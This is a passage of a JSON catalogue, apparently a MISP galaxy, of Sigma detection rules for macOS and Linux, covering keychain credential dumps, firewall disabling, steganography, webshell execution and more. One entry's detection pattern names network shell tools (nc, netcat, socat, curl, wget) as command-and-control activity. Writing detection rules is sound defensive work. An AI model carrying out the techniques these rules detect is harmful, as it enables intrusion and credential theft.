        }
      ],
      "uuid": "acf61bd8-d814-4272-81f0-a7a269aa69aa",
      "value": "Indicator Removal on Host - Clear Mac System Logs"
    },
    {
      "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.",
      "meta": {
        "author": "Igor Fits, Mikhail Larin, oscd.community",
        "creation_date": "2020/10/19",
        "falsepositive": [
          "Legitimate administrative activity"
        ],
        "filename": "proc_creation_macos_system_shutdown_reboot.yml",
        "level": "informational",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_shutdown_reboot.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1529"
        ]
      },
      "related": [
        {
          "dest-uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "40b1fbe2-18ea-4ee7-be47-0294285811de",
      "value": "System Shutdown/Reboot - MacOs"
    },
    {
      "description": "Detects disabling security tools",
      "meta": {
        "author": "Daniil Yugoslavskiy, oscd.community",
        "creation_date": "2020/10/19",
        "falsepositive": [
          "Legitimate activities"
        ],
        "filename": "proc_creation_macos_disable_security_tools.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_disable_security_tools.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ff39f1a6-84ac-476f-a1af-37fcdf53d7c0",
      "value": "Disable Security Tools"
    },
    {
      "description": "Detects passwords dumps from Keychain",
      "meta": {
        "author": "Tim Ismilyaev, oscd.community, Florian Roth (Nextron Systems)",
        "creation_date": "2020/10/19",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_macos_creds_from_keychain.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
          "https://gist.github.com/Capybara/6228955",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.001/T1555.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_creds_from_keychain.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1555.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "1eaebf46-e361-4437-bc23-d5d65a3b92e3",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b120b587-a4c2-4b94-875d-99c9807d6955",
      "value": "Credentials from Password Stores - Keychain"
    },
    {
      "description": "Detects execution of the \"jamf\" binary to create user accounts and run commands. For example, the binary can be abused by attackers on the system in order to bypass security controls or remove application control polices.\n",
      "meta": {
        "author": "Jay Pandit",
        "creation_date": "2023/08/22",
        "falsepositive": [
          "Legitimate use of the JAMF CLI tool by IT support and administrators"
        ],
        "filename": "proc_creation_macos_jamf_usage.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
          "https://docs.jamf.com/10.30.0/jamf-pro/administrator-guide/Components_Installed_on_Managed_Computers.html",
          "https://github.com/MythicAgents/typhon/",
          "https://www.zoocoup.org/casper/jamf_cheatsheet.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_jamf_usage.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "be2e3a5c-9cc7-4d02-842a-68e9cb26ec49",
      "value": "JAMF MDM Execution"
    },
    {
      "description": "Detects the usage of tooling to sniff network traffic.\nAn adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n",
      "meta": {
        "author": "Alejandro Ortuno, oscd.community",
        "creation_date": "2020/10/14",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_macos_network_sniffing.yml",
        "level": "informational",
        "logsource.category": "process_creation",
        "logsource.product": "macos",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_network_sniffing.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.credential_access",
          "attack.t1040"
        ]
      },
      "related": [
        {
          "dest-uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "adc9bcc4-c39c-4f6b-a711-1884017bf043",
      "value": "Network Sniffing - MacOs"
    },
    {
      "description": "Before deploying any new asset, change all default passwords to have values consistent with administrative level accounts.\nSigma detects default credentials usage. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.\n",
      "meta": {
        "author": "Alexandr Yampolskyi, SOC Prime",
        "creation_date": "2019/03/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "default_credentials_usage.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "qualys",
        "refs": [
          "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf",
          "https://community.qualys.com/docs/DOC-6406-reporting-toolbox-focused-search-lists",
          "https://www.cisecurity.org/controls/cis-controls-list/",
          "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/default_credentials_usage.yml"
        ],
        "tags": "No established tags"
      },
      "uuid": "1a395cbc-a84a-463a-9086-ed8a70e573c7",
      "value": "Default Credentials Usage"
    },
    {
      "description": "Host Without Firewall. Alert means not complied. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.",
      "meta": {
        "author": "Alexandr Yampolskyi, SOC Prime",
        "creation_date": "2019/03/19",
        "falsepositive": "No established falsepositives",
        "filename": "host_without_firewall.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "qualys",
        "refs": [
          "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf",
          "https://www.cisecurity.org/controls/cis-controls-list/",
          "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/host_without_firewall.yml"
        ],
        "tags": "No established tags"
      },
      "uuid": "6b2066c8-3dc7-4db7-9db0-6cc1d7b0dde9",
      "value": "Host Without Firewall"
    },
    {
      "description": "Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels\nEnsure that an encryption is used for all sensitive information in transit.\nEnsure that an encrypted channels is used for all administrative account access.\n",
      "meta": {
        "author": "Alexandr Yampolskyi, SOC Prime",
        "creation_date": "2019/03/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "netflow_cleartext_protocols.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "No established product",
        "refs": [
          "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf",
          "https://www.cisecurity.org/controls/cis-controls-list/",
          "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/netflow_cleartext_protocols.yml"
        ],
        "tags": "No established tags"
      },
      "uuid": "7e4bfe58-4a47-4709-828d-d86c78b7cc1f",
      "value": "Cleartext Protocol Usage Via Netflow"
    },
    {
      "description": "Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.\nSCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager.\nMicrosoft Azure, and Microsoft Operations Management Suite.\n",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2021/09/17",
        "falsepositive": [
          "Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand."
        ],
        "filename": "lnx_auditd_omigod_scx_runasprovider_executeshellcommand.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure",
          "https://github.com/Azure/Azure-Sentinel/pull/3059",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_omigod_scx_runasprovider_executeshellcommand.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.initial_access",
          "attack.execution",
          "attack.t1068",
          "attack.t1190",
          "attack.t1203"
        ]
      },
      "related": [
        {
          "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "045b5f9c-49f7-4419-a236-9854fb3c827a",
      "value": "OMIGOD SCX RunAsProvider ExecuteShellCommand - Auditd"
    },
    {
      "description": "Detects calls to hidden files or files located in hidden directories in NIX systems.",
      "meta": {
        "author": "David Burkett, @signalblur",
        "creation_date": "2022/12/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_auditd_hidden_binary_execution.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_binary_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1574.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9e1bef8d-0fff-46f6-8465-9aa54e128c1e",
      "value": "Use Of Hidden Paths Or Files"
    },
    {
      "description": "Detects file and folder permission changes.",
      "meta": {
        "author": "Jakob Weinzettl, oscd.community",
        "creation_date": "2019/09/23",
        "falsepositive": [
          "User interacting with files permissions (normal/daily behaviour)."
        ],
        "filename": "lnx_auditd_file_or_folder_permissions.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_file_or_folder_permissions.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1222.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "74c01ace-0152-4094-8ae2-6fd776dd43e5",
      "value": "File or Folder Permissions Change"
    },
    {
      "description": "Detect changes of syslog daemons configuration files",
      "meta": {
        "author": "Mikhail Larin, oscd.community",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Legitimate administrative activity"
        ],
        "filename": "lnx_auditd_logging_config_change.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "self experience",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_logging_config_change.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.006"
        ]
      },
      "related": [
        {
          "dest-uuid": "74d2a63f-3c7b-4852-92da-02d8fbab16da",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c830f15d-6f6e-430f-8074-6f73d6807841",
      "value": "Logging Configuration Changes on Linux Host"
    },
    {
      "description": "Detects a creation of systemd services which could be used by adversaries to execute malicious code.",
      "meta": {
        "author": "Pawel Mazur",
        "creation_date": "2022/02/03",
        "falsepositive": [
          "Admin work like legit service installs."
        ],
        "filename": "lnx_auditd_systemd_service_creation.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_systemd_service_creation.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1543.002"
        ]
      },
      "related": [
        {
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          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1bac86ba-41aa-4f62-9d6b-405eac99b485",
      "value": "Systemd Service Creation"
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    {
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      "meta": {
        "author": "Rafal Piasecki",
        "creation_date": "2022/08/10",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "lnx_auditd_bpfdoor_file_accessed.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor",
          "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_bpfdoor_file_accessed.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1106",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "808146b2-9332-4d78-9416-d7e47012d83d",
      "value": "BPFDoor Abnormal Process ID or Lock File Accessed"
    },
    {
      "description": "Detects attempts to record audio with arecord utility",
      "meta": {
        "author": "Pawel Mazur",
        "creation_date": "2021/09/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_auditd_audio_capture.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://linuxconfig.org/how-to-test-microphone-with-audio-linux-sound-architecture-alsa",
          "https://linux.die.net/man/1/arecord",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_audio_capture.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1123"
        ]
      },
      "related": [
        {
          "dest-uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
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      "value": "Audio Capture"
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    {
      "description": "Detecting attempts to extract passwords with grep",
      "meta": {
        "author": "Igor Fits, oscd.community",
        "creation_date": "2020/10/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_auditd_find_cred_in_files.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_find_cred_in_files.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1552.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc",
          "tags": [
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "df3fcaea-2715-4214-99c5-0056ea59eb35",
      "value": "Credentials In Files - Linux"
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    {
      "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware.\nThis rule detect using dd and truncate to add a junk data to file.\n",
      "meta": {
        "author": "Igor Fits, oscd.community",
        "creation_date": "2020/10/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_auditd_binary_padding.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_binary_padding.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c52a914f-3d8b-4b2a-bb75-b3991e75f8ba",
      "value": "Binary Padding - Linux"
    },
    {
      "description": "Detects embedding of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.",
      "meta": {
        "author": "Pawel Mazur",
        "creation_date": "2021/09/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_auditd_steghide_embed_steganography.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://vitux.com/how-to-hide-confidential-files-in-images-on-debian-using-steganography/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_steghide_embed_steganography.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ce446a9e-30b9-4483-8e38-d2c9ad0a2280",
      "value": "Steganography Hide Files with Steghide"
    },
    {
      "description": "Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community",
        "creation_date": "2019/10/21",
        "falsepositive": [
          "Admin activity"
        ],
        "filename": "lnx_auditd_user_discovery.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_user_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1033"
        ]
      },
      "related": [
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9a0d8ca0-2385-4020-b6c6-cb6153ca56f3",
      "value": "System Owner or User Discovery"
    },
    {
      "description": "Detects suspicious activities as declared by Florian Roth in its 'Best Practice Auditd Configuration'.\nThis includes the detection of the following commands; wget, curl, base64, nc, netcat, ncat, ssh, socat, wireshark, rawshark, rdesktop, nmap.\nThese commands match a few techniques from the tactics \"Command and Control\", including not exhaustively the following; Application Layer Protocol (T1071), Non-Application Layer Protocol (T1095), Data Encoding (T1132)\n",
      "meta": {
        "author": "Marie Euler",
        "creation_date": "2020/05/18",
        "falsepositive": [
          "Admin or User activity"
        ],
        "filename": "lnx_auditd_susp_c2_commands.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/Neo23x0/auditd",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_c2_commands.yml"
        ],
        "tags": [
          "attack.command_and_control"
        ]
      },
      "uuid": "f7158a64-6204-4d6d-868a-6e6378b467e0",
      "value": "Suspicious C2 Activities"
    },
    {
      "description": "Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool.\nXclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n",
      "meta": {
        "author": "Pawel Mazur",
        "creation_date": "2021/09/24",
        "falsepositive": [
          "Legitimate usage of xclip tools"
        ],
        "filename": "lnx_auditd_clipboard_collection.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://linux.die.net/man/1/xclip",
          "https://www.cyberciti.biz/faq/xclip-linux-insert-files-command-output-intoclipboard/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_clipboard_collection.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1115"
        ]
      },
      "related": [
        {
          "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "214e7e6c-f21b-47ff-bb6f-551b2d143fcf",
      "value": "Clipboard Collection with Xclip Tool - Auditd"
    },
    {
      "description": "Detects extraction of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.",
      "meta": {
        "author": "Pawel Mazur",
        "creation_date": "2021/09/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_auditd_steghide_extract_steganography.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://vitux.com/how-to-hide-confidential-files-in-images-on-debian-using-steganography/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_steghide_extract_steganography.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a5a827d9-1bbe-4952-9293-c59d897eb41b",
      "value": "Steganography Extract Files with Steghide"
    },
    {
      "description": "Detects loading of kernel modules with insmod command.\nLoadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand.\nAdversaries may use LKMs to obtain persistence within the system or elevate the privileges.\n",
      "meta": {
        "author": "Pawel Mazur",
        "creation_date": "2021/11/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_auditd_load_module_insmod.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://linux.die.net/man/8/insmod",
          "https://man7.org/linux/man-pages/man8/kmod.8.html",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.006/T1547.006.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_load_module_insmod.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1547.006"
        ]
      },
      "related": [
        {
          "dest-uuid": "a1b52199-c8c5-438a-9ded-656f1d0888c6",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "106d7cbd-80ff-4985-b682-a7043e5acb72",
      "value": "Loading of Kernel Module via Insmod"
    },
    {
      "description": "Detects possible command execution by web application/web shell",
      "meta": {
        "author": "Ilyas Ochkov, Beyu Denis, oscd.community",
        "creation_date": "2019/10/12",
        "falsepositive": [
          "Admin activity",
          "Crazy web applications"
        ],
        "filename": "lnx_auditd_web_rce.yml",
        "level": "critical",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "Personal Experience of the Author",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_web_rce.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1505.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c0d3734d-330f-4a03-aae2-65dacc6a8222",
      "value": "Webshell Remote Command Execution"
    },
    {
      "description": "Detect unix shell configuration modification. Adversaries may establish persistence through executing malicious commands triggered when a new shell is opened.",
      "meta": {
        "author": "Peter Matkovski, IAI",
        "creation_date": "2023/03/06",
        "falsepositive": [
          "Admin or User activity are expected to generate some false positives"
        ],
        "filename": "lnx_auditd_unix_shell_configuration_modification.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat",
          "https://www.glitch-cat.com/p/green-lambert-and-attack",
          "https://objective-see.org/blog/blog_0x68.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_unix_shell_configuration_modification.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1546.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "b63a34e8-0a61-4c97-a23b-bf8a2ed812e2",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a94cdd87-6c54-4678-a6cc-2814ffe5a13d",
      "value": "Unix Shell Configuration Modification"
    },
    {
      "description": "Detects adversary creating screen capture of a desktop with Import Tool.\nHighly recommended using rule on servers, due to high usage of screenshot utilities on user workstations.\nImageMagick must be installed.\n",
      "meta": {
        "author": "Pawel Mazur",
        "creation_date": "2021/09/21",
        "falsepositive": [
          "Legitimate use of screenshot utility"
        ],
        "filename": "lnx_auditd_screencapture_import.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md",
          "https://linux.die.net/man/1/import",
          "https://imagemagick.org/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_screencapture_import.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1113"
        ]
      },
      "related": [
        {
          "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
        }
      ],
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      "value": "Screen Capture with Import Tool"
    },
    {
      "description": "Detects disabling of system firewalls which could be used by adversaries to bypass controls that limit usage of the network.",
      "meta": {
        "author": "Pawel Mazur",
        "creation_date": "2022/01/22",
        "falsepositive": [
          "Admin activity"
        ],
        "filename": "lnx_auditd_disable_system_firewall.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md",
          "https://firewalld.org/documentation/man-pages/firewall-cmd.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_disable_system_firewall.yml"
        ],
        "tags": [
          "attack.t1562.004",
          "attack.defense_evasion"
        ]
      },
      "related": [
        {
          "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "53059bc0-1472-438b-956a-7508a94a91f0",
      "value": "Disable System Firewall"
    },
    {
      "description": "Detects extracting of zip file from image file",
      "meta": {
        "author": "Pawel Mazur",
        "creation_date": "2021/09/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_auditd_unzip_hidden_zip_files_steganography.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_unzip_hidden_zip_files_steganography.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "edd595d7-7895-4fa7-acb3-85a18a8772ca",
      "value": "Steganography Unzip Hidden Information From Picture File"
    },
    {
      "description": "Detects attempts to discover the files with setuid/setgid capability on them. That would allow adversary to escalate their privileges.",
      "meta": {
        "author": "Pawel Mazur",
        "creation_date": "2021/11/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_auditd_capabilities_discovery.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://man7.org/linux/man-pages/man8/getcap.8.html",
          "https://mn3m.info/posts/suid-vs-capabilities/",
          "https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/",
          "https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_capabilities_discovery.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.privilege_escalation",
